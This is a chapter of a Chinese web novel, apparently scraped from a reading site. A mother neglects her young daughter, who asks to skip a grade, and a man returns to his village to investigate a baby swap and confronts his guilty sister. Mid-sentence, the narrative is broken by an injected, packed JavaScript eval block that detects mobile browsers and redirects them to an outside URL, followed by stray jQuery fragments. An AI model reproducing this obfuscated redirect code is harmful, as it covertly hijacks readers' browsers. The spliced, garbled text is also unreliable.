林念安置好人才们，一身疲惫回到四合院，解开脖子上乱七八糟挂着充当门面的首饰，打算冲了个澡就去睡觉，还没走进浴室，单手解手表时，才看到林小念小脑袋一顿一顿拿着课本在床上等着她。


    林念看向解开的手表，指针早已过了十点，在这个时代习惯了早睡，十点纯粹是深夜了，大人都撑不住更何况是一个七岁的小孩子，正需要睡眠的时候不能熬夜。


    林念内心涌出了浓浓的自责，她这几天着实忽略林小念了，虽然她有点理解为什么当家长的没有那么多时间陪伴孩子的原因——为了挣钱被琐碎杂事裹挟着走，只能习惯性忽略最为亲密的人，大概是源于最亲密的人最会包容自己的缘故。


    但，这越发加深了林念的愧疚，她这辈子只有一个目的，那就是好好地把林小念养一遍，而不是在小念需要人陪伴的时候忽视她的需求。


    林念没有去洗澡，走到床边去拿林小念手里的课本。


    林念抽书的手一动，林小念打了个小激灵，眼神顿时就清醒了，她揉了揉眼睛，朝林念张开小手要抱。


    林念心软得一塌糊涂，“乖宝宝，对不起啊，妈妈太忙了没有好好照顾你。”


    林小念摇摇头，她没有觉得林念妈妈忽略了她的陪伴，她看得出来林念妈妈非常忙碌，每天回家都很晚，她知道忙碌都是为了工作挣钱养她，她比谁都知道挣钱养她有多难。


    她捡瓶子要攒一个礼拜才能去买一袋白馒头，林念妈妈又是给她吃肉肉，又是带她买漂亮的裙子，还给她上那么漂亮的学校，肯定是要许多许多的钱，会非常非常辛苦的，她不能给林念妈妈造成更多的麻烦了。


    毕竟，她生来就是个麻烦。


    林小念突然有些犹豫，她今天等着林念妈妈有话要说是不是很不好。


    林小念觉得自己做错了事情，抓抓头皮，十分拘束。


    林念等着林小念的话，但看到林小念抓头发的时候，她从床头柜上拿出一个篦梳，又垫上一张白布在床上轻柔地给林小念梳理头虱。


    梳了十几下，没看见掉落的虱子，林念感慨，剃短发果然是去虱子最快捷的办法，已经看不见头上的虱子了。


    林小念被梳得舒舒服服，瞌睡虫一点一点又冒了上来。


    这段时间吃的好睡得好，又上了自己梦寐以求的学，林小念为了不辜负林念妈妈付出的钱，有好好的在融入学校这个大环境，努力去听懂老师上的课，强迫自己去认识新同学，融入她们的小圈子。


    女孩子的小圈子话题们基本都是一些漂亮文具的分享和好看衣服的分享，林小念不懂什么牌子，对各种牌子没有自己的见解，但她的穿着打扮都是最上乘的，林念没有在这种地方亏待她，林念有钱给自己打扮，更不会吝啬于那么点小钱让林小念在班级里攀比时抬不起头。


    依靠衣着打扮推测的家庭条件，尤其还有好多同学开学和放学会看见有黑色大轿车来接林小念，林小念在女生小团体里并没有被排挤，反而隐隐有些捧着林小念。


    林小念不懂牌子也被误认为接触的牌子太高级而没看过这些中低端的东西。所以，林小念暂时是没什么烦恼的。


    只不过前两天有个同学，叫什么珍珍的，从一年级的小朋友跳级成了六年级的大朋友，在全校引起了轰动，林小念才从小圈子里知道了“跳级”这个词。


    她不是很懂跳级是多有本事的事情，但是同学们都羡慕，都说跳级意味着聪明，聪明的孩子是爸爸妈妈最喜欢的，她也想要林念妈妈更喜欢她。


    她问了小圈子的同学们，怎么样才可以跳级，她们说要每一门功课都满分才可以跳级。


    林小念便觉得很发愁，她没有接触过幼稚园的学习，从起跑线开始就比别人慢上一截，在学习上很难做到得心应手，现阶段她很努力很努力还在班级吊车尾，她想要多学点课本知识，她不想麻烦林念妈妈的，但她又想让林念妈妈更喜欢她。


    “妈妈，你可以教我读书吗，我想要跳级。”林小念想被爱的执念太深，迷迷糊糊中仍旧是把心里想的吐露出来。


    “跳级？”


    林念梳头发的手顿住，目光细细巡视在林小念的面上，林小念一开始还紧张地不敢睁开眼睛，眼皮底下的眼珠子还有轻微的颤动，但夜色确实黑了，林小念颤抖的睫毛也一动不动了。


    给林小念掖好被子，林念脑子里一团浆糊，饶是自家孩子突兀跟自己提想要跳级，估计没几个当家长的能冷静。


    她第一反应是孩子会和自己提条件了是好事，可第二反应是有人在周围怂恿她跳级，毕竟不是她看不起自己小时候，她记忆中，她从来都是努力型选手，百分百的努力才勉强达到那些学霸随意的九成，不会提这种不自量力的事情。


    她会满足林小念想要学习的要求，但也要去了解下这个跳级的来由，她又反思自己跟学校的联系不够紧密，导致学校发生的事情她都不能第一时间知晓。


    她主次不分，忽略了最主要的宝贝。


    一夜过去，林小念喝着牛奶小心观察着林念的表情，她忘记昨天林念妈妈有没有答应了，她不争气的睡着了，昨天的勇气是仅有一次的，到了今天，她那股气就泄了，一点都不敢再提起。


    林念吹着馄饨汤，没有放过林小念那眼巴巴的小眼神，她今儿个决定去趟学校了解下事情，顺便贿赂下老师们。


    “走吧，送你上学。”


    “林念啊，这有一封你的邀请函。”郝大娘匆匆从里头跑来给林念递信。


    林念随手接过信，没怎么留意，她以为是谢志诚寄来的，于是随手塞包里，和林小念坐进了车里，扬长而去。


    ……


    林敏超跟领导申请了七天的休假，他回到了大林村，他是土生土长的大林村人，是山沟沟里出去的金凤凰，他的女儿也是在这个地方出生的，如果孩子是刚出生就被调换，这会是最有可能的地方。


    刚到村口就有好些人认出林敏超来，林敏超虽然心里堵了个大石头，但面上仍旧不显露，婶子、阿叔、奶奶一个个称呼过去，被喊到的人心里熨帖，听着的人也觉得顺耳。


    这就是他们大林村最出息的金凤凰，三十出头的年纪便能在京市安家落户，每年还给他父母寄来两百块钱的补贴，年节时候哪怕人不到场也会寄来节礼，孝顺极


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106860|179849||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了，谁不羡慕林敏超的爹娘，要不是这两年两老接着去了，这福气得享受地更久。


    林敏超没有回家，而是去了隔壁邻居兼大姐林翠花家里。


    “姐，你在家吗？”林敏超在院子外面招呼。


    林翠花心里有鬼，磕着瓜子都被瓜子皮卡到了喉咙，一番鸡飞狗跳的折腾才好悬把那瓜子皮给咽了下去。


    “哟，是敏超回来了，你可真是好东西都禁不起吃，瓜子皮都能卡壳，小心给敏超看到笑你这个做姐的。”林翠花丈夫抓来抹布把弄乱的桌面拾掇干净，赶紧笑着去开门。


    林翠花本来就是做了亏心事，先头几年是大仇得报的快感压过了做亏心事的不安，前阵子那个有钱女老板在她耳边的威胁生生让她连做了好几晚的噩梦，折腾得她都瘦了五斤，还没恢复过来，他那个被爹娘偏心的弟弟竟然回来了。


    不年不节他回来干嘛，难道他是知道了，来绑她去警察局的？


    她不想坐牢啊，而且坏主意不是她先提出的，她只是被资本主义小姐给蛊惑了，才一时头昏做了帮凶，这罪不能全推到她一个人头上，而且都是亲戚怎么能一点情面都不留。


    林翠花在里屋走来走去，一张胖脸眼见着灰败得可以。


    “磨磨蹭蹭干嘛呢，敏超在外头等久了，我瞧他这次手里拎着一盒东西呢，这次是麦乳精还是罐头。”林翠花丈夫就喜欢这种大城市来的亲戚，每次上门都不落空，他一个地里干活的能吃到那么多好东西也多亏了这门好亲戚。


    影响到他收礼，他可不得骂骂咧咧催促他婆娘。


    林翠花一听手里还拎着礼品，顿时呼出一大口气，还能送礼品这就意味着林敏超还不知道那事，不然就他弟弟着性格别说拎礼品了，能拎把砍刀朝她追着揍。


    不知道就好，不知道就好。


    林翠花扬起个笑容朝着林敏超热情小跑去。


    “敏超你来了啊，嗐，来之前也不说一声，大姐让你姐夫来县里接你。”林翠花寒暄几句，顺手接过了林敏超手里的礼品，不光她丈夫惦记好东西，她也是惦记着的。


    林敏超笑着把礼品递过，跟着进了屋。


    这个屋子还是当初分家时候分的，就前后两间十分逼仄，灶房是和隔壁共用的，随着隔壁他爹娘去世，灶房的范围越扩越大，除了隔壁主屋那间分给他的他们没有包进去，连带着之前住过下乡改造分子的次间也被瓜分走了。


    林敏超收回打量的目光，打算问下当年生产时候的细节。


    林翠花丈夫早已经拆开了礼品拿出了里头的东西，是一整条烟，“敏超，你真是大气，这么好的烟，你姐夫我这辈子都没抽过，还是你惦记着你姐。”


    “姐夫喜欢就好，正好我和姐有事要说，姐夫要不……”林敏超笑着说，话没有说完留给林翠花丈夫自个儿想象的余地。


    “我去外头试试这好东西，翠花啊，留敏超中午吃饭，我去买块猪肉回来。”


    碍事的人走了，可以开门见山了。


    只不过林敏超注意到，他姐的眼睛一直都没有和他对视过，哪怕接触了一瞬间，也立马游移开，忙活并不存在的活。